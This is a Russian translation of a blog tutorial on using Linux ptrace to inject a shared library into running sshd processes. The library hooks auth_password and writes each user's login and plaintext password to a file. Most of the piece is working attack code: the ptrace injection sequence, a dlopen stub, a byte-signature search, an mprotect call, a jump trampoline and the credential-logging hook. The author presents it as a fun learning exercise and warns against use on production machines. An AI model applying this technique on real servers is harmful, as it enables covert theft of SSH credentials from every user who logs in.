[Перевод] Введение в ptrace или инъекция кода в sshd ради веселья
Конечно, это несколько искусственная задача, так как есть множество других, более эффективных, способов достичь желаемого (и с гораздо меньшей вероятностью получить SEGV), однако, мне показалось клёвым сделать именно так.
Цель, которой я задался, была весьма проста: узнать введённый в sshd пароль, используя ptrace.
Те, кто знаком с инъекциями в Windows, наверняка знают функции VirtualAllocEx()
, WriteProcessMemory()
, ReadProcessMemory()
и CreateRemoteThread()
. Эти вызовы позволяют выделять память и запускать потоки в другом процессе. В мире linux ядро предоставляет нам ptrace
, благодаря которому отладчики могут взаимодействовать с запущенным процессом.
Ptrace предлагает несколько полезных для отладки операций, например:
- PTRACE_ATTACH — позволяет присоединиться к одному процессу, поставив на паузу отлаживаемый процесс
- PTRACE_PEEKTEXT — позволяет прочитать данные из адресного пространства другого процесса
- PTRACE_POKETEXT — позволяет записать данные в адресное пространство другого процесса
- PTRACE_GETREGS — читает текущее состояние регистров процесса
- PTRACE_SETREGS — записывает состояние регистров процесса
- PTRACE_CONT — продолжает выполнение отлаживаемого процесса
Хотя это неполный список возможностей ptrace, однако, я столкнулся с трудностями из-за отсутствия знакомых мне из Win32 функций. Например, в Windows можно выделить память в другом процессе с помощью функции VirtualAllocEx()
, которая возвращает тебе указатель на свежевыделенную память. Так как в ptrace такого не существует, придётся импровизировать, если хочется внедрить свой код в другой процесс.
Ну что ж, давайте подумаем о том, как захватить управление над процессом с помощью ptrace.
Первое, что мы должны сделать — присоединиться к интересующему нас процессу. Чтобы сделать это, достаточно вызывать ptrace с параметром PTRACE_ATTACH:
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
Этот вызов прост как пробка, он принимает PID процесса, к которому мы хотим присоединиться. Когда происходит вызов, отправляется сигнал SIGSTOP, который вынуждает интересующий процесс остановиться.
Это позволит нам восстановить работу программы позже: После присоединения есть повод сохранить состояние всех регистров прежде, чем мы начнём что-то изменять.
struct user_regs_struct oldregs;
ptrace(PTRACE_GETREGS, pid, NULL, &oldregs);
Далее необходимо найти место, куда мы сможем записать наш код. Самый простой способ — извлечь информацию из файла maps, который можно найти в procfs для каждого процесса. Например, "/proc/PID/maps" у запущенного процесса sshd на Ubuntu выглядит так:
Сразу, как найдём подходящую нам область, по аналогии с регистрами, сохраним содержимое, чтобы потом корректно восстановить работу: Нам необходимо найти область памяти, выделенную с правом на выполнение (скорее всего «r-xp»).
ptrace(PTRACE_PEEKTEXT, pid, addr, NULL);
С помощью ptrace можно читать по одному машинному слову данных (32 бита на х86 или 64 бита на х86_64) по указанному адресу, то есть для чтения бо́льшего количества данных необходимо совершить несколько вызовов, увеличивая адрес.
Однако, в этой статье я буду придерживаться использования ptrace. Примечание: в linux так же есть process_vm_readv() и process_vm_writev() для работы с адресным пространством другого процесса. При желании сделать что-то своё, лучше прочитать об этих функциях.
Теперь, когда мы сделали резервную копию понравившейся нам области памяти, мы можем начать перезапись:
ptrace(PTRACE_POKETEXT, pid, addr, word);
Аналогично PTRACE_PEEKTEXT, этот вызов может записывать только по одному машинному слову за раз по указанному адресу. Так же, для записи больше одного машинного слова потребуется множество вызовов.
Чтобы не перезаписывать данные в памяти (например, стек), мы будем использовать сохранённые ранее регистры: После загрузки своего кода необходимо передать ему управление.
struct user_regs_struct r;
memcpy(&r, &oldregs, sizeof(struct user_regs_struct)); // Update RIP to point to our injected code
regs.rip = addr_of_injected_code;
ptrace(PTRACE_SETREGS, pid, NULL, &r);
Наконец, мы можем продолжить выполнение с помощью PTRACE_CONT:
ptrace(PTRACE_CONT, pid, NULL, NULL);
Но как мы узнаем, что наш код закончил выполнение? Мы будем использовать программное прерывание, так же известное как инструкция «int 0x03», генерирующее SIGTRAP. Мы будем ждать этого с помощью waitpid():
waitpid(pid, &status, WUNTRACED);
waitpid() — блокирующий вызов, который дождётся остановки процесса с идентификатором PID и запишет причину остановки в переменную status. Здесь очень кстати есть куча макросов, которые упростят жизнь в выяснении причины остановки.
Чтобы узнать, была ли остановка из-за SIGTRAP (по причине вызова int 0x03), мы можем сделать так:
waitpid(pid, &status, WUNTRACED);
if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) { printf("SIGTRAP received\n");
}
Восстановим все регистры: В этот момент наш встроенный код уже выполнился и всё, что нам требуется — восстановить исходное состояние процесса.
ptrace(PTRACE_SETREGS, pid, NULL, &origregs);
Затем вернём оригинальные данные в памяти:
ptrace(PTRACE_POKETEXT, pid, addr, word);
И отсоединимся от процесса:
ptrace(PTRACE_DETACH, pid, NULL, NULL);
На этом хватит теории. Двинемся к более интересной части.
Я должен предупредить, что есть некоторая вероятность уронить sshd, так что будьте осторожны и, пожалуйста, не пытайтесь проверять это на рабочей системе и тем более, на удалённой системе через SSH 😀
Более того, есть несколько более хороших способов достичь того же результата, я демонстрирую именно этот исключительно в качестве весёлого способа показать мощь ptrace (согласитесь, это круче инъекции в Hello World 😉
При просмотре исходного кода мы можем видеть что-то такое: Единственное, что я хотел сделать — это получить комбинацию логин-пароль из запущенного sshd, когда пользователь проходит аутентификацию.
auth-passwd.c
/* * Tries to authenticate the user using password. Returns true if * authentication succeeds. */ int auth_password(Authctxt *authctxt, const char *password)
Это выглядит, как отличное место для попытки изъять логин/пароль, переданные пользователем в открытом виде.
Я использую мою любимую утилиту для дизасемблирования, radare2: Нам хочется найти сигнатуру функции, которая позволит нам найти её [функцию] в памяти.
Для этого мы воспользуемся поиском в radare2: Необходимо найти последовательность байт, которая уникальна и встречается только в функции auth_password.
Так случилось, что последовательность xor rdx, rdx; cmp rax, 0x400
подходит под наши требования и встречается всего один раз во всём ELF-файле.
(в версии 7. В качестве примечания… Если у вас нет этой последовательности, убедитесь, что у вас самая новая версия, которая так же закрывает уязвимость середины 2016. 6 такая последовательность так же есть и уникальна — прим.пер.)
Следующий шаг — инъекция кода.
Для загрузки нашего кода в sshd мы сделаем небольшую заглушку, которая позволит нам вызывать dlopen() и загрузить динамическую библиотеку, которая уже осуществит подмену «auth_password».
Эта функция находится в libdl.so, которая динамически линкуется к приложению. dlopen() — вызов для динамической линковки, который принимает в аргументах путь до динамической библиотеки и загружает её в адресное пространство вызывающего процесса.
Однако, из-за ASLR очень маловероятно, что dlopen() будет в одном и том же месте каждый раз, так что придётся найти её адрес в памяти sshd. К счастью, в нашем случае libdl.so уже загружена в sshd, так что нам остаётся только выполнить dlopen().
Для того, чтобы найти адрес функции, нужно посчитать смещение — разность между адресом функции dlopen() и начальным адресом libdl.so:
unsigned long long libdlAddr, dlopenAddr;
libdlAddr = (unsigned long long)dlopen("libdl.so", RTLD_LAZY);
dlopenAddr = (unsigned long long)dlsym(libdlAddr, "dlopen");
printf("Offset: %llx\n", dlopenAddr - libdlAddr);
Теперь, когда мы посчитали смещение, нужно найти начальный адрес libdl.so из maps-файла:
Зная базовый адрес libdl.so в sshd (0x7f0490a0d000, как следует из скриншота выше), мы можем добавить смещение и получить адрес dlopen(), чтобы вызывать из кода-инъекции.
Все необходимые адреса передадим через регистры с помощью PTRACE_SETREGS.
Так же необходимо записать путь до вживляемой библиотеки в адресное пространство sshd, например:
void ptraceWrite(int pid, unsigned long long addr, void *data, int len) { long word = 0; int i = 0; for (i=0; i < len; i+=sizeof(word), word=0) { memcpy(&word, data + i, sizeof(word)); if (ptrace(PTRACE_POKETEXT, pid, addr + i, word)) == -1) { printf("[!] Error writing process memory\n"); exit(1); } }
} ptraceWrite(pid, (unsigned long long)freeaddr, "/tmp/inject.so\x00", 16)
Делая как можно во время подготовки инъекции и загружая указатели на аргументы прямо в регистры, мы можем сделать код-инъекцию проще. Например:
// Update RIP to point to our code, which will be just after // our injected library name string
regs.rip = (unsigned long long)freeaddr + DLOPEN_STRING_LEN + NOP_SLED_LEN; // Update RAX to point to dlopen()
regs.rax = (unsigned long long)dlopenAddr; // Update RDI to point to our library name string
regs.rdi = (unsigned long long)freeaddr; // Set RSI as RTLD_LAZY for the dlopen call
regs.rsi = 2; // RTLD_LAZY // Update the target process registers
ptrace(PTRACE_SETREGS, pid, NULL, ®s);
То есть, код-инъекция весьма прост:
; RSI set as value '2' (RTLD_LAZY)
; RDI set as char* to shared library path
; RAX contains the address of dlopen
call rax
int 0x03
Настало время создать нашу динамическую библиотеку, которая будет загружена кодом-инъекцией.
Прежде, чем мы двинемся дальше, рассмотрим одну важную вещь, которая будет использована… Конструктор динамической библиотеки.
Динамические библиотеки могут выполнять код при загрузке. Для этого необходимо пометить функции декоратором "__attribute__((constructor))". Например:
#include <stdio.h> void __attribute__((constructor)) test(void) { printf("Library loaded on dlopen()\n");
}
Скопилировать можно простой командой:
gcc -o test.so --shared -fPIC test.c
А затем проверить работоспособность:
dlopen("./test.so", RTLD_LAZY);
Когда библиотека загрузится, конструктор так же вызовется:
Мы так же используем эту функциональность, чтобы сделать нашу жизнь проще при инъекции кода в адресное пространство другого процесса.
Теперь, когда у нас есть возможность загрузить нашу динамическую библиотеку, нужно создать код, который изменит поведение auth_password() во времени выполнения.
Мы ищем область с правами «r-x», в которой мы будем искать уникальную последовательность в auth_password(): Когда наша динамическая библиотека загружена, мы можем найти начальный адрес sshd с помощью файла "/proc/self/maps" в procfs.
d = fopen("/proc/self/maps", "r");
while(fgets(buffer, sizeof(buffer), fd)) { if (strstr(buffer, "/sshd") && strstr(buffer, "r-x")) { ptr = strtoull(buffer, NULL, 16); end = strtoull(strstr(buffer, "-")+1, NULL, 16); break; }
}
Раз у нас есть диапазон адресов для поиска, ищем функцию:
const char *search = "\x31\xd2\x48\x3d\x00\x04\x00\x00";
while(ptr < end) { // ptr[0] == search[0] added to increase performance during searching // no point calling memcmp if the first byte doesn't match our signature. if (ptr[0] == search[0] && memcmp(ptr, search, 9) == 0) { break; } ptr++;
}
Когда у нас нашлось совпадение, необходимо использовать mprotect(), чтобы изменить права на доступ к области памяти. Это всё потому что область памяти доступна на чтение и выполнение, а для изменения на ходу требуются права на запись:
mprotect((void*)(((unsigned long long)ptr / 4096) * 4096), 4096*2, PROT_READ | PROT_WRITE | PROT_EXEC)
Отлично, у нас есть право на запись в нужную область памяти и теперь настало время добавить в начале функции auth_password небольшой трамплин, который передаст управление в хук:
char jmphook[] = "\x48\xb8\x48\x47\x46\x45\x44\x43\x42\x41\xff\xe0";
Это эквивалентно такому коду:
mov rax, 0x4142434445464748
jmp rax
Конечно, адрес 0x4142434445464748 нам не подходим и он будет заменён на адрес нашего хука:
*(unsigned long long *)((char*)jmphook+2) = &passwd_hook;
Теперь мы можем просто вставить наш трамплин в sshd. Чтобы инъекция была красивой и чистой, вставим трамплин в самое начало функции:
// Step back to the start of the function, which is 32 bytes // before our signature
ptr -= 32;
memcpy(ptr, jmphook, sizeof(jmphook));
Теперь мы должны реализовать хук, который будет заниматься логгированием проходящих данных. Мы должны быть уверены, что сохранили все регистры до начала хука и восстановили перед возвращением к оригинальному коду:
Исходный код хука
// Remember the prolog: push rbp; mov rbp, rsp; // that takes place when entering this function
void passwd_hook(void *arg1, char *password) { // We want to store our registers for later asm("push %rsi\n" "push %rdi\n" "push %rax\n" "push %rbx\n" "push %rcx\n" "push %rdx\n" "push %r8\n" "push %r9\n" "push %r10\n" "push %r11\n" "push %r12\n" "push %rbp\n" "push %rsp\n" ); // Our code here, is used to store the username and password char buffer[1024]; int log = open(PASSWORD_LOCATION, O_CREAT | O_RDWR | O_APPEND); // Note: The magic offset of "arg1 + 32" contains a pointer to // the username from the passed argument. snprintf(buffer, sizeof(buffer), "Password entered: [%s] %s\n", *(void **)(arg1 + 32), password); write(log, buffer, strlen(buffer)); close(log); asm("pop %rsp\n" "pop %rbp\n" "pop %r12\n" "pop %r11\n" "pop %r10\n" "pop %r9\n" "pop %r8\n" "pop %rdx\n" "pop %rcx\n" "pop %rbx\n" "pop %rax\n" "pop %rdi\n" "pop %rsi\n" ); // Recover from the function prologue asm("mov %rbp, %rsp\n" "pop %rbp\n" ); ...
Ну и это всё… в каком-то смысле…
Даже если инъекция кода в sshd удалась, можно заметить, что искомые пользовательские пароли всё ещё недоступны. К сожалению, после всего проделанного, это ещё не всё. Именно новый ребёнок обрабатывает подключение и именно в него мы должны установить хук. Это связано с тем, что sshd на каждое соединение создает нового ребёнка.
Как только находится такой процесс, инжектор запускается и для него. Чтобы быть уверенным, что мы работает с детьми sshd, я решил сканировать procfs на stats файлы, в которых указан Parent PID sshd.
Если всё пойдёт не по плану и код-инъекция упадёт с SIGSEGV, будет убит только процесс одного пользователя, а не родительский процесс sshd. В этом есть даже свои плюсы. Не самое большое утешение, но оно явно делает отладку проще.
Окей, давай посмотрим демо:
Полный код можно найти здесь.
Надеюсь, это путешествие подарило тебе достаточно информации для того, чтобы потыкать ptrace самостоятельно.
Хочу поблагодарить следующих людей и сайты, которые помогли разобраться с ptrace: